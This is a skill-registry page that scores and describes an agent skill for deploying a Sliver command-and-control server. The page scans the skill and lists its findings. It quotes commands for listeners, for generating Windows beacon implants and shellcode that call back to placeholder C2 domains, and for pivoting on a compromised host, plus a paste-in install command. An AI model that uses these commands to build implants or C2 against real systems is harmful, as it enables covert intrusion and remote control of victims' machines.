← All skills
building-c2-infrastructure-with-sliver-framework
77 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By mukul975/Anthropic-Cybersecurity-Skills (GitHub) · security · 35,906 stars · scanned at commit 54a7988
Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection.
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Sends data to these websites: sliver.sh
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 1 place.
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 20 places.
Show 17 more
- skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 99
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 103
dns --domains c2dns.example.com --lport 53 - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 107
mtls --lhost 0.0.0.0 --lport 8888 - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 111
wg --lport 51820 - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 134
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 142
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 146
generate beacon --dns c2dns.example.com --os windows --arch amd64 - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 150
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 154
generate beacon --http https://c2.example.com --seconds 60 --jitter 30 - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 160
beacons # List active beacons - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 165
ps # Process listing - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 172
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host - skills/building-c2-infrastructure-with-sliver-framework/SKILL.md, line 176
armory install sa-ldapsearch # Install from armory - skills/building-c2-infrastructure-with-sliver-framework/scripts/agent.py, line 18
result = subprocess.run([sliver_path] + cmd, capture_output=True, text=True, timeout=60) - skills/building-c2-infrastructure-with-sliver-framework/scripts/agent.py, line 20
except (FileNotFoundError, subprocess.TimeoutExpired) as e: - skills/building-c2-infrastructure-with-sliver-framework/scripts/process.py, line 56
result = subprocess.run( - skills/building-c2-infrastructure-with-sliver-framework/scripts/process.py, line 64
except (subprocess.TimeoutExpired, FileNotFoundError) as e:
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'building-c2-infrastructure-with-sliver-framework' ] || [ -L ~/.agents/skills/'building-c2-infrastructure-with-sliver-framework' ]; then echo 'A skill folder named building-c2-infrastructure-with-sliver-framework already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/mukul975/Anthropic-Cybersecurity-Skills' "$d" && git -C "$d" checkout --quiet '54a798831d2266a3ca61ce68a7acb80b81160d57' -- 'skills/building-c2-infrastructure-with-sliver-framework' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/building-c2-infrastructure-with-sliver-framework' ~/.agents/skills/'building-c2-infrastructure-with-sliver-framework' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'building-c2-infrastructure-with-sliver-framework' ~/.claude/skills/'building-c2-infrastructure-with-sliver-framework' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for mukul975/Anthropic-Cybersecurity-Skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/mukul975/Anthropic-Cybersecurity-Skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 54a7988 | 77 |
| 2026-11-07 | 54a7988 | 77 |